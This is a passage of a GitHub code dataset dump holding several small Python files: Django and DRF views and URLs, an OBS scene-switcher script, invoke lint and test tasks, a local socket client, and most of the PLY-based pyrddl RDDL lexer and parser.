print(request.POST.get('fullname'))\n # print(request.POST.get('email'))\n # print(request.POST.get('content'))\n return render(request, \"contact/view.html\", context)\n\ndef login_page(request):\n login_form = LoginForm(request.POST or None)\n context = {\n \"form\":login_form\n }\n print(request.user.is_authenticated())\n if login_form.is_valid():\n print(login_form.cleaned_data)\n return render(request, \"auth/login.html\", context)\n\ndef register_page(request):\n register_form = RegisterForm(request.POST or None)\n if register_form.is_valid():\n print(register_form.cleaned_data)\n return render(request, \"auth/register.html\", {})\n","repo_name":"mandouss/mini-amazon","sub_path":"src/amazonSim/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29339893410","text":"import os\nimport json\nimport subprocess\n\nclass Config:\n def __init__(self):\n with open('config.json') as f:\n config = json.load(f)\n \n self.host = config['host']\n self.password = config['password']\n self.port = str(config['port'])\n\nclass Obs:\n def __init__(self, config):\n self.config = config\n self.scene_list = self.get_scene_list()\n self.current_scene = self.get_current_scene()\n\n def refresh(self):\n self.scene_list = self.get_scene_list()\n self.current_scene = self.get_current_scene()\n\n def get_scene_list(self):\n return self.command(['scene', 'list']).split('\\n')[:-1]\n\n def get_current_scene(self):\n return self.command(['scene', 'get']).split('\\n')[0]\n\n def switch_scene(self, scene):\n return self.command(['scene', 'switch', scene]).split('\\n')[0]\n\n def command(self, args):\n base_command = [\n 'obs-cli',\n '--host', self.config.host,\n '--password', self.config.password,\n '--port', self.config.port\n ]\n result = subprocess.check_output(\n base_command + args\n )\n return result.decode(\"utf-8\")\n\ndef clear():\n os.system('cls' if os.name=='nt' else 'clear')\n\ndef main():\n config = Config()\n obs = Obs(config)\n while True:\n obs.refresh()\n clear()\n print(f'OBS Scenes ({obs.config.host})')\n print('')\n for i,scene in enumerate(obs.scene_list):\n if obs.current_scene == scene:\n print(f'{i+1}: {scene} (active)')\n else:\n print(f'{i+1}: {scene}')\n print('')\n c = input('Switch scenes. Enter scene number and press [ENTER]: ')\n try:\n if int(c):\n obs.switch_scene(\n obs.scene_list[int(c)-1]\n )\n except:\n pass\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"josephsamela/obs-cli-scene-remote","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24618389270","text":"from typing import Optional\n\nfrom invoke import Context # type: ignore\nfrom invoke import run # type: ignore\nfrom invoke import task # type: ignore\n\n\n@task\ndef autoformat(ctx):\n # type: (Context) -> None\n run(\"black .\", echo=True)\n run(\"isort -sl .\", echo=True)\n\n\n@task\ndef lint(ctx):\n # type: (Context) -> None\n run(\"black --check .\", echo=True)\n run(\"isort -sl --check-only .\", echo=True)\n run(\"flake8 .\", echo=True)\n run(\"mypy .\", echo=True)\n\n\n@task\ndef tests(ctx, k=None):\n # type: (Context, Optional[str]) -> None\n pytest_args = \" -vvv\"\n if k:\n pytest_args += f\" -k {k}\"\n run(\n f\"pytest tests{pytest_args}\",\n pty=True,\n echo=True,\n )\n","repo_name":"tsileo/gemapi","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"32030111299","text":"from django.urls import path, include\nfrom .views import CarSearchView, CarView\nfrom rest_framework import routers\nrouter = routers.DefaultRouter()\nrouter.register('search', CarSearchView, basename='search')\nurlpatterns = [\n path('', include(router.urls)),\n path('car/', CarView.as_view(), name='car')\n]\n\napp_name = 'cars'\n","repo_name":"sahrayali2000/cartest","sub_path":"cars/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42971707905","text":"from django.shortcuts import render\nfrom rest_framework.generics import CreateAPIView\nfrom .models import Account\nfrom .serializers import Accountserializer\nfrom drf_spectacular.utils import extend_schema\nfrom rest_framework_simplejwt import views as jwt_views\n\n\nclass AccountView(CreateAPIView):\n queryset = Account.objects.all\n serializer_class = Accountserializer\n\n @extend_schema(\n operation_id=\"account_create\",\n summary=\"Criação de usuário\",\n description=\"Cria um novo usuário para a aplicação.\",\n tags=[\"Accounts/\"],\n request=Accountserializer,\n responses={201: Accountserializer},\n )\n def post(self, request, *args, **kwargs):\n return super().post(request, *args, **kwargs)\n\n\nclass LoginView(jwt_views.TokenObtainPairView):\n @extend_schema(\n operation_id=\"account_login\",\n summary=\"Criação de usuário\",\n description=\"Cria um novo usuário para a aplicação.\",\n tags=[\"Login/\"],\n )\n def post(self, request, *args, **kwargs):\n return super().post(request, *args, **kwargs)\n","repo_name":"M12gthb/Kanvas_API","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29441664344","text":"import socket\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n\nhost = socket.gethostname()\n\n# Change port if errors occur.\nport = 5000\n\nclient.connect((host, port))\n\nclient.send('hello'.encode('ascii'))\n\nresponse = client.recv(1024).decode('ascii')\n# `1024` can be less as only text may return from server.\n\n\nprint('Server replied: {}'.format(response))\n\n\n\n","repo_name":"roshnet/auv-zhcet","sub_path":"sockets/send-altered-data/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43155849075","text":"# This file is part of pyrddl.\n\n# pyrddl is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# pyrddl is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with pyrddl. If not, see .\n\nimport logging\nimport os\nimport tempfile\n\nfrom ply import lex, yacc\n\nfrom pyrddl.rddl import RDDL\nfrom pyrddl.domain import Domain\nfrom pyrddl.nonfluents import NonFluents\nfrom pyrddl.instance import Instance\nfrom pyrddl.pvariable import PVariable\nfrom pyrddl.expr import Expression\nfrom pyrddl.cpf import CPF\n\n\nalpha = r'[A-Za-z]'\ndigit = r'[0-9]'\nidenfifier = r'(' + alpha + r')((' + alpha + r'|' + digit + r'|\\-|\\_)*(' + alpha + r'|' + digit + r'))?(\\')?'\ninteger = digit + r'+'\ndouble = digit + r'*\\.' + digit + r'+'\nvariable = r'\\?(' + alpha + r'|' + digit + r'|\\-|\\_)*(' + alpha + r'|' + digit + r')'\nenum_value = r'\\@(' + alpha + r'|' + digit + r'|\\-|\\_)*(' + alpha + r'|' + digit + r')'\n\n\nclass RDDLlex(object):\n\n def __init__(self):\n self.reserved = {\n 'domain': 'DOMAIN',\n 'instance': 'INSTANCE',\n 'horizon': 'HORIZON',\n 'discount': 'DISCOUNT',\n 'objects': 'OBJECTS',\n 'init-state': 'INIT_STATE',\n 'requirements': 'REQUIREMENTS',\n 'state-action-constraints': 'STATE_ACTION_CONSTRAINTS',\n 'action-preconditions': 'ACTION_PRECONDITIONS',\n 'state-invariants': 'STATE_INVARIANTS',\n 'types': 'TYPES',\n 'object': 'OBJECT',\n 'bool': 'BOOL',\n 'int': 'INT',\n 'real': 'REAL',\n 'neg-inf': 'NEG_INF',\n 'pos-inf': 'POS_INF',\n 'pvariables': 'PVARIABLES',\n 'non-fluent': 'NON_FLUENT',\n 'non-fluents': 'NON_FLUENTS',\n 'state-fluent': 'STATE',\n 'interm-fluent': 'INTERMEDIATE',\n 'derived-fluent': 'DERIVED_FLUENT',\n 'observ-fluent': 'OBSERVATION',\n 'action-fluent': 'ACTION',\n 'level': 'LEVEL',\n 'default': 'DEFAULT',\n 'max-nondef-actions': 'MAX_NONDEF_ACTIONS',\n 'terminate-when': 'TERMINATE_WHEN',\n 'terminal': 'TERMINAL',\n 'cpfs': 'CPFS',\n 'cdfs': 'CDFS',\n 'reward': 'REWARD',\n 'forall': 'FORALL',\n 'exists': 'EXISTS',\n 'true': 'TRUE',\n 'false': 'FALSE',\n 'if': 'IF',\n 'then': 'THEN',\n 'else': 'ELSE',\n 'switch': 'SWITCH',\n 'case': 'CASE',\n 'otherwise': 'OTHERWISE',\n 'KronDelta': 'KRON_DELTA',\n 'DiracDelta': 'DIRAC_DELTA',\n 'Uniform': 'UNIFORM',\n 'Bernoulli': 'BERNOULLI',\n 'Discrete': 'DISCRETE',\n 'Normal': 'NORMAL',\n 'Poisson': 'POISSON',\n 'Exponential': 'EXPONENTIAL',\n 'Weibull': 'WEIBULL',\n 'Gamma': 'GAMMA',\n 'Multinomial': 'MULTINOMIAL',\n 'Dirichlet': 'DIRICHLET'\n }\n\n self.tokens = [\n 'IDENT',\n 'VAR',\n 'ENUM_VAL',\n 'INTEGER',\n 'DOUBLE',\n 'AND',\n 'OR',\n 'NOT',\n 'PLUS',\n 'TIMES',\n 'LPAREN',\n 'RPAREN',\n 'LCURLY',\n 'RCURLY',\n 'DOT',\n 'COMMA',\n 'UNDERSCORE',\n 'LBRACK',\n 'RBRACK',\n 'IMPLY',\n 'EQUIV',\n 'NEQ',\n 'LESSEQ',\n 'LESS',\n 'GREATEREQ',\n 'GREATER',\n 'ASSIGN_EQUAL',\n 'COMP_EQUAL',\n 'DIV',\n 'MINUS',\n 'COLON',\n 'SEMI',\n 'DOLLAR_SIGN',\n 'QUESTION',\n 'AMPERSAND'\n ]\n self.tokens += list(self.reserved.values())\n\n t_ignore = ' \\t'\n\n t_AND = r'\\^'\n t_OR = r'\\|'\n t_NOT = r'~'\n t_PLUS = r'\\+'\n t_TIMES = r'\\*'\n t_LPAREN = r'\\('\n t_RPAREN = r'\\)'\n t_LCURLY = r'\\{'\n t_RCURLY = r'\\}'\n t_DOT = r'\\.'\n t_COMMA = r'\\,'\n t_UNDERSCORE = r'\\_'\n t_LBRACK = r'\\['\n t_RBRACK = r'\\]'\n t_IMPLY = r'=>'\n t_EQUIV = r'<=>'\n t_NEQ = r'~='\n t_LESSEQ = r'<='\n t_LESS = r'<'\n t_GREATEREQ = r'>='\n t_GREATER = r'>'\n t_ASSIGN_EQUAL = r'='\n t_COMP_EQUAL = r'=='\n t_DIV = r'/'\n t_MINUS = r'-'\n t_COLON = r':'\n t_SEMI = r';'\n t_DOLLAR_SIGN = r'\\$'\n t_QUESTION = r'\\?'\n t_AMPERSAND = r'\\&'\n\n def t_newline(self, t):\n r'\\n+'\n self._lexer.lineno += len(t.value)\n\n def t_COMMENT(self, t):\n r'//[^\\r\\n]*'\n pass\n\n @lex.TOKEN(idenfifier)\n def t_IDENT(self, t):\n t.type = self.reserved.get(t.value, 'IDENT')\n return t\n\n @lex.TOKEN(variable)\n def t_VAR(self, t):\n return t\n\n @lex.TOKEN(enum_value)\n def t_ENUM_VAL(self, t):\n return t\n\n @lex.TOKEN(double)\n def t_DOUBLE(self, t):\n t.value = float(t.value)\n return t\n\n @lex.TOKEN(integer)\n def t_INTEGER(self, t):\n t.value = int(t.value)\n return t\n\n def t_error(self, t):\n print(\"Illegal character: {} at line {}\".format(t.value[0], self._lexer.lineno))\n t.lexer.skip(1)\n\n def build(self, **kwargs):\n self._lexer = lex.lex(object=self, **kwargs)\n\n def input(self, data):\n if self._lexer is None:\n self.build()\n self._lexer.input(data)\n\n def token(self):\n return self._lexer.token()\n\n def __call__(self):\n while True:\n tok = self.token()\n if not tok:\n break\n yield tok\n\n\nclass RDDLParser(object):\n\n def __init__(self, lexer=None, verbose=False):\n if lexer is None:\n self.lexer = RDDLlex()\n self.lexer.build()\n\n self._verbose = verbose\n\n self.tokens = self.lexer.tokens\n\n self.precedence = (\n ('left', 'IF'),\n ('left', 'ASSIGN_EQUAL'),\n ('left', 'EXISTS'),\n ('left', 'FORALL'),\n ('left', 'AGG_OPER'),\n ('left', 'EQUIV'),\n ('left', 'IMPLY'),\n ('left', 'OR'),\n ('left', 'AND', 'AMPERSAND'),\n ('left', 'NOT'),\n ('left', 'COMP_EQUAL', 'NEQ', 'LESS', 'LESSEQ', 'GREATER', 'GREATEREQ'),\n ('left', 'PLUS', 'MINUS'),\n ('left', 'TIMES', 'DIV'),\n ('right', 'UMINUS')\n )\n self.parsing_logfile = None\n self.debugging = False\n\n def p_rddl(self, p):\n '''rddl : rddl_block'''\n p[0] = RDDL(p[1])\n\n def p_rddl_block(self, p):\n '''rddl_block : rddl_block domain_block\n | rddl_block instance_block\n | rddl_block nonfluent_block\n | empty'''\n if p[1] is None:\n p[0] = dict()\n else:\n name, block = p[2]\n p[1][name] = block\n p[0] = p[1]\n\n def p_domain_block(self, p):\n '''domain_block : DOMAIN IDENT LCURLY req_section domain_list RCURLY'''\n d = Domain(p[2], p[4], p[5])\n p[0] = ('domain', d)\n\n def p_req_section(self, p):\n '''req_section : REQUIREMENTS ASSIGN_EQUAL LCURLY string_list RCURLY SEMI\n | REQUIREMENTS LCURLY string_list RCURLY SEMI\n | empty'''\n if len(p) == 7:\n p[0] = p[4]\n elif len(p) == 6:\n p[0] = p[3]\n self._print_verbose('requirements')\n\n def p_domain_list(self, p):\n '''domain_list : domain_list type_section\n | domain_list pvar_section\n | domain_list cpf_section\n | domain_list reward_section\n | domain_list action_precond_section\n | domain_list state_action_constraint_section\n | domain_list state_invariant_section\n | empty'''\n if p[1] is None:\n p[0] = dict()\n else:\n name, section = p[2]\n p[1][name] = section\n p[0] = p[1]\n\n def p_type_section(self, p):\n '''type_section : TYPES LCURLY type_list RCURLY SEMI'''\n p[0] = ('types', p[3])\n self._print_verbose('types')\n\n def p_type_list(self, p):\n '''type_list : type_list type_def\n | empty'''\n if p[1] is None:\n p[0] = []\n else:\n p[1].append(p[2])\n p[0] = p[1]\n\n def p_type_def(self, p):\n '''type_def : IDENT COLON OBJECT SEMI\n | IDENT COLON LCURLY enum_list RCURLY SEMI'''\n if len(p) == 5:\n p[0] = (p[1], p[3])\n elif len(p) == 7:\n p[0] = (p[1], p[4])\n\n def p_enum_list(self, p):\n '''enum_list : enum_list COMMA ENUM_VAL\n | ENUM_VAL\n | empty'''\n if p[1] is None:\n p[0] = []\n elif len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_pvar_section(self, p):\n '''pvar_section : PVARIABLES LCURLY pvar_list RCURLY SEMI'''\n p[0] = ('pvariables', p[3])\n self._print_verbose('pvariables')\n\n def p_pvar_list(self, p):\n '''pvar_list : pvar_list pvar_def\n | empty'''\n if p[1] is None:\n p[0] = []\n else:\n p[1].append(p[2])\n p[0] = p[1]\n\n def p_pvar_def(self, p):\n '''pvar_def : nonfluent_def\n | statefluent_def\n | actionfluent_def\n | intermfluent_def'''\n p[0] = p[1]\n\n def p_nonfluent_def(self, p):\n '''nonfluent_def : IDENT LPAREN param_list RPAREN COLON LCURLY NON_FLUENT COMMA type_spec COMMA DEFAULT ASSIGN_EQUAL range_const RCURLY SEMI\n | IDENT COLON LCURLY NON_FLUENT COMMA type_spec COMMA DEFAULT ASSIGN_EQUAL range_const RCURLY SEMI'''\n if len(p) == 16:\n p[0] = PVariable(name=p[1], fluent_type='non-fluent', range_type=p[9], param_types=p[3], default=p[13])\n else:\n p[0] = PVariable(name=p[1], fluent_type='non-fluent', range_type=p[6], default=p[10])\n\n def p_statefluent_def(self, p):\n '''statefluent_def : IDENT LPAREN param_list RPAREN COLON LCURLY STATE COMMA type_spec COMMA DEFAULT ASSIGN_EQUAL range_const RCURLY SEMI\n | IDENT COLON LCURLY STATE COMMA type_spec COMMA DEFAULT ASSIGN_EQUAL range_const RCURLY SEMI'''\n if len(p) == 16:\n p[0] = PVariable(name=p[1], fluent_type='state-fluent', range_type=p[9], param_types=p[3], default=p[13])\n else:\n p[0] = PVariable(name=p[1], fluent_type='state-fluent', range_type=p[6], default=p[10])\n\n def p_actionfluent_def(self, p):\n '''actionfluent_def : IDENT LPAREN param_list RPAREN COLON LCURLY ACTION COMMA type_spec COMMA DEFAULT ASSIGN_EQUAL range_const RCURLY SEMI\n | IDENT COLON LCURLY ACTION COMMA type_spec COMMA DEFAULT ASSIGN_EQUAL range_const RCURLY SEMI'''\n if len(p) == 16:\n p[0] = PVariable(name=p[1], fluent_type='action-fluent', range_type=p[9], param_types=p[3], default=p[13])\n else:\n p[0] = PVariable(name=p[1], fluent_type='action-fluent', range_type=p[6], default=p[10])\n\n def p_intermfluent_def(self, p):\n '''intermfluent_def : IDENT LPAREN param_list RPAREN COLON LCURLY INTERMEDIATE COMMA type_spec COMMA LEVEL ASSIGN_EQUAL range_const RCURLY SEMI\n | IDENT COLON LCURLY INTERMEDIATE COMMA type_spec COMMA LEVEL ASSIGN_EQUAL range_const RCURLY SEMI'''\n if len(p) == 16:\n p[0] = PVariable(name=p[1], fluent_type='interm-fluent', range_type=p[9], param_types=p[3], level=p[13])\n else:\n p[0] = PVariable(name=p[1], fluent_type='interm-fluent', range_type=p[6], level=p[10])\n\n def p_cpf_section(self, p):\n '''cpf_section : cpf_header LCURLY cpf_list RCURLY SEMI'''\n p[0] = ('cpfs', (p[1], p[3]))\n self._print_verbose('cpfs')\n\n def p_cpf_header(self, p):\n '''cpf_header : CPFS\n | CDFS'''\n p[0] = p[1]\n\n def p_cpf_list(self, p):\n '''cpf_list : cpf_list cpf_def\n | empty'''\n if p[1] is None:\n p[0] = []\n else:\n p[1].append(p[2])\n p[0] = p[1]\n\n def p_cpf_def(self, p):\n '''cpf_def : pvar_expr ASSIGN_EQUAL expr SEMI'''\n p[0] = CPF(pvar=p[1], expr=p[3])\n\n def p_reward_section(self, p):\n '''reward_section : REWARD ASSIGN_EQUAL expr SEMI'''\n p[0] = ('reward', p[3])\n self._print_verbose('reward')\n\n def p_action_precond_section(self, p):\n '''action_precond_section : ACTION_PRECONDITIONS LCURLY action_precond_list RCURLY SEMI\n | ACTION_PRECONDITIONS LCURLY RCURLY SEMI'''\n if len(p) == 6:\n p[0] = ('preconds', p[3])\n elif len(p) == 5:\n p[0] = ('preconds', [])\n self._print_verbose('action-preconditions')\n\n def p_action_precond_list(self, p):\n '''action_precond_list : action_precond_list action_precond_def\n | action_precond_def'''\n if len(p) == 3:\n p[1].append(p[2])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_action_precond_def(self, p):\n '''action_precond_def : expr SEMI'''\n p[0] = p[1]\n\n def p_state_action_constraint_section(self, p):\n '''state_action_constraint_section : STATE_ACTION_CONSTRAINTS LCURLY state_cons_list RCURLY SEMI\n | STATE_ACTION_CONSTRAINTS LCURLY RCURLY SEMI'''\n if len(p) == 6:\n p[0] = ('constraints', p[3])\n elif len(p) == 5:\n p[0] = ('constraints', [])\n self._print_verbose('state-action-constraints')\n\n def p_state_cons_list(self, p):\n '''state_cons_list : state_cons_list state_cons_def\n | state_cons_def'''\n if len(p) == 3:\n p[1].append(p[2])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_state_cons_def(self, p):\n '''state_cons_def : expr SEMI'''\n p[0] = p[1]\n\n def p_state_invariant_section(self, p):\n '''state_invariant_section : STATE_INVARIANTS LCURLY state_invariant_list RCURLY SEMI\n | STATE_INVARIANTS LCURLY RCURLY SEMI'''\n if len(p) == 6:\n p[0] = ('invariants', p[3])\n elif len(p) == 5:\n p[0] = ('invariants', [])\n self._print_verbose('invariants')\n\n def p_state_invariant_list(self, p):\n '''state_invariant_list : state_invariant_list state_invariant_def\n | state_invariant_def'''\n if len(p) == 3:\n p[1].append(p[2])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_state_invariant_def(self, p):\n '''state_invariant_def : expr SEMI'''\n p[0] = p[1]\n\n def p_term_list(self, p):\n '''term_list : term_list COMMA term\n | term\n | empty'''\n if p[1] is None:\n p[0] = []\n elif len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_term(self, p):\n '''term : VAR\n | ENUM_VAL\n | pvar_expr'''\n p[0] = p[1]\n\n def p_expr(self, p):\n '''expr : pvar_expr\n | group_expr\n | function_expr\n | relational_expr\n | boolean_expr\n | quantifier_expr\n | numerical_expr\n | aggregation_expr\n | control_expr\n | randomvar_expr'''\n p[0] = Expression(p[1])\n\n def p_pvar_expr(self, p):\n '''pvar_expr : IDENT LPAREN term_list RPAREN\n | IDENT'''\n if len(p) == 2:\n p[0] = ('pvar_expr', (p[1], None))\n elif len(p) == 5:\n p[0] = ('pvar_expr', (p[1], p[3]))\n\n def p_group_expr(self, p):\n '''group_expr : LBRACK expr RBRACK\n | LPAREN expr RPAREN'''\n p[0] = p[2]\n\n def p_function_expr(self, p):\n '''function_expr : IDENT LBRACK expr_list RBRACK'''\n p[0] = ('func', (p[1], p[3]))\n\n def p_relational_expr(self, p):\n '''relational_expr : expr COMP_EQUAL expr\n | expr NEQ expr\n | expr GREATER expr\n | expr GREATEREQ expr\n | expr LESS expr\n | expr LESSEQ expr'''\n p[0] = (p[2], (p[1], p[3]))\n\n def p_boolean_expr(self, p):\n '''boolean_expr : expr AND expr\n | expr AMPERSAND expr\n | expr OR expr\n | expr IMPLY expr\n | expr EQUIV expr\n | NOT expr %prec UMINUS\n | bool_type'''\n if len(p) == 4:\n p[0] = (p[2], (p[1], p[3]))\n elif len(p) == 3:\n p[0] = (p[1], (p[2],))\n elif len(p) == 2:\n p[0] = ('boolean', p[1])\n\n def p_quantifier_expr(self, p):\n '''quantifier_expr : FORALL UNDERSCORE LCURLY typed_var_list RCURLY expr %prec FORALL\n | EXISTS UNDERSCORE LCURLY typed_var_list RCURLY expr %prec EXISTS'''\n p[0] = (p[1], (*p[4], p[6]))\n\n def p_numerical_expr(self, p):\n '''numerical_expr : expr PLUS expr\n | expr MINUS expr\n | expr TIMES expr\n | expr DIV expr\n | MINUS expr %prec UMINUS\n | PLUS expr %prec UMINUS\n | INTEGER\n | DOUBLE'''\n if len(p) == 4:\n p[0] = (p[2], (p[1], p[3]))\n elif len(p) == 3:\n p[0] = (p[1], (p[2],))\n elif len(p) == 2:\n p[0] = ('number', p[1])\n\n def p_aggregation_expr(self, p):\n '''aggregation_expr : IDENT UNDERSCORE LCURLY typed_var_list RCURLY expr %prec AGG_OPER'''\n p[0] = (p[1], (*p[4], p[6]))\n\n def p_control_expr(self, p):\n '''control_expr : IF LPAREN expr RPAREN THEN expr ELSE expr %prec IF\n | SWITCH LPAREN term RPAREN LCURLY case_list RCURLY'''\n if len(p) == 9:\n p[0] = (p[1], (p[3], p[6], p[8]))\n elif len(p) == 8:\n p[0] = (p[1], (p[3], *p[6]))\n\n def p_randomvar_expr(self, p):\n '''randomvar_expr : BERNOULLI LPAREN expr RPAREN\n | DIRAC_DELTA LPAREN expr RPAREN\n | KRON_DELTA LPAREN expr RPAREN\n | UNIFORM LPAREN expr COMMA expr RPAREN\n | NORMAL LPAREN expr COMMA expr RPAREN\n | EXPONENTIAL LPAREN expr RPAREN\n | DISCRETE LPAREN IDENT COMMA lconst_case_list RPAREN\n | DIRICHLET LPAREN IDENT COMMA expr RPAREN\n | POISSON LPAREN expr RPAREN\n | WEIBULL LPAREN expr COMMA expr RPAREN\n | GAMMA LPAREN expr COMMA expr RPAREN'''\n if len(p) == 7:\n if isinstance(p[5], list):\n p[0] = ('randomvar', (p[1], (('enum_type', p[3]), *p[5])))\n else:\n p[0] = ('randomvar', (p[1], (p[3], p[5])))\n elif len(p) == 5:\n p[0] = ('randomvar', (p[1], (p[3],)))\n\n def p_typed_var_list(self, p):\n '''typed_var_list : typed_var_list COMMA typed_var\n | typed_var'''\n if len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_typed_var(self, p):\n '''typed_var : VAR COLON IDENT'''\n p[0] = ('typed_var', (p[1], p[3]))\n\n def p_expr_list(self, p):\n '''expr_list : expr_list COMMA expr\n | expr'''\n if len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_case_list(self, p):\n '''case_list : case_list COMMA case_def\n | case_def'''\n if len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_case_def(self, p):\n '''case_def : CASE term COLON expr\n | DEFAULT COLON expr'''\n if len(p) == 5:\n p[0] = ('case', (p[2], p[4]))\n elif len(p) == 4:\n p[0] = ('default', p[3])\n\n def p_lconst_case_list(self, p):\n '''lconst_case_list : lconst COLON expr\n | lconst COLON OTHERWISE\n | lconst_case_list COMMA lconst COLON expr'''\n if len(p) == 4:\n p[0] = [('lconst', (p[1], p[3]))]\n elif len(p) == 6:\n p[1].append(('lconst', (p[3], p[5])))\n p[0] = p[1]\n\n def p_lconst(self, p):\n '''lconst : IDENT\n | ENUM_VAL'''\n p[0] = p[1]\n\n def p_param_list(self, p):\n '''param_list : string_list'''\n p[0] = p[1]\n\n def p_type_spec(self, p):\n '''type_spec : IDENT\n | INT\n | REAL\n | BOOL'''\n p[0] = p[1]\n\n def p_range_const(self, p):\n '''range_const : bool_type\n | double_type\n | int_type\n | IDENT'''\n p[0] = p[1]\n\n def p_bool_type(self, p):\n '''bool_type : TRUE\n | FALSE'''\n p[0] = True if p[1] == 'true' else False\n\n def p_double_type(self, p):\n '''double_type : DOUBLE\n | MINUS DOUBLE\n | POS_INF\n | NEG_INF'''\n p[0] = p[1] if len(p) == 2 else -p[2]\n\n def p_int_type(self, p):\n '''int_type : INTEGER\n | MINUS INTEGER'''\n p[0] = p[1] if len(p) == 2 else -p[2]\n\n def p_pos_int_type_or_pos_inf(self, p):\n '''pos_int_type_or_pos_inf : INTEGER\n | POS_INF'''\n p[0] = p[1]\n\n def p_instance_block(self, p):\n '''instance_block : INSTANCE IDENT LCURLY instance_list RCURLY'''\n inst = Instance(p[2], p[4])\n p[0] = ('instance', inst)\n\n def p_instance_list(self, p):\n '''instance_list : instance_list domain_section\n | instance_list nonfluents_section\n | instance_list objects_section\n | instance_list init_state_section\n | instance_list max_nondef_actions_section\n | instance_list horizon_spec_section\n | instance_list discount_section\n | empty'''\n if p[1] is None:\n p[0] = dict()\n else:\n name, section = p[2]\n p[1][name] = section\n p[0] = p[1]\n\n def p_domain_section(self, p):\n '''domain_section : DOMAIN ASSIGN_EQUAL IDENT SEMI'''\n p[0] = ('domain', p[3])\n\n def p_nonfluents_section(self, p):\n '''nonfluents_section : NON_FLUENTS ASSIGN_EQUAL IDENT SEMI'''\n p[0] = ('non_fluents', p[3])\n self._print_verbose('non-fluents')\n\n def p_objects_section(self, p):\n '''objects_section : OBJECTS LCURLY objects_list RCURLY SEMI'''\n p[0] = ('objects', p[3])\n self._print_verbose('objects')\n\n def p_init_state_section(self, p):\n '''init_state_section : INIT_STATE LCURLY pvar_inst_list RCURLY SEMI'''\n p[0] = ('init_state', p[3])\n self._print_verbose('init-state')\n\n def p_max_nondef_actions_section(self, p):\n '''max_nondef_actions_section : MAX_NONDEF_ACTIONS ASSIGN_EQUAL pos_int_type_or_pos_inf SEMI'''\n p[0] = ('max_nondef_actions', p[3])\n self._print_verbose('max-non-def-actions')\n\n def p_horizon_spec_section(self, p):\n '''horizon_spec_section : HORIZON ASSIGN_EQUAL pos_int_type_or_pos_inf SEMI\n | HORIZON ASSIGN_EQUAL TERMINATE_WHEN LPAREN expr RPAREN'''\n if len(p) == 5:\n p[0] = ('horizon', p[3])\n elif len(p) == 7:\n p[0] = ('horizon', p[5])\n self._print_verbose('horizon')\n\n def p_discount_section(self, p):\n '''discount_section : DISCOUNT ASSIGN_EQUAL DOUBLE SEMI'''\n p[0] = ('discount', p[3])\n self._print_verbose('discount')\n\n def p_nonfluent_block(self, p):\n '''nonfluent_block : NON_FLUENTS IDENT LCURLY nonfluent_list RCURLY'''\n nf = NonFluents(p[2], p[4])\n p[0] = ('non_fluents', nf)\n\n def p_nonfluent_list(self, p):\n '''nonfluent_list : nonfluent_list domain_section\n | nonfluent_list objects_section\n | nonfluent_list init_non_fluent_section\n | empty'''\n if p[1] is None:\n p[0] = dict()\n else:\n name, section = p[2]\n p[1][name] = section\n p[0] = p[1]\n\n def p_init_non_fluent_section(self, p):\n '''init_non_fluent_section : NON_FLUENTS LCURLY pvar_inst_list RCURLY SEMI'''\n p[0] = ('init_non_fluent', p[3])\n self._print_verbose('init-non-fluent')\n\n def p_objects_list(self, p):\n '''objects_list : objects_list objects_def\n | objects_def\n | empty'''\n if len(p) == 3:\n p[1].append(p[2])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_objects_def(self, p):\n '''objects_def : IDENT COLON LCURLY object_const_list RCURLY SEMI'''\n p[0] = (p[1], p[4])\n\n def p_object_const_list(self, p):\n '''object_const_list : object_const_list COMMA IDENT\n | IDENT'''\n if len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_pvar_inst_list(self, p):\n '''pvar_inst_list : pvar_inst_list pvar_inst_def\n | pvar_inst_def'''\n if len(p) == 3:\n p[1].append(p[2])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_pvar_inst_def(self, p):\n '''pvar_inst_def : IDENT LPAREN lconst_list RPAREN SEMI\n | IDENT SEMI\n | NOT IDENT LPAREN lconst_list RPAREN SEMI\n | NOT IDENT SEMI\n | IDENT LPAREN 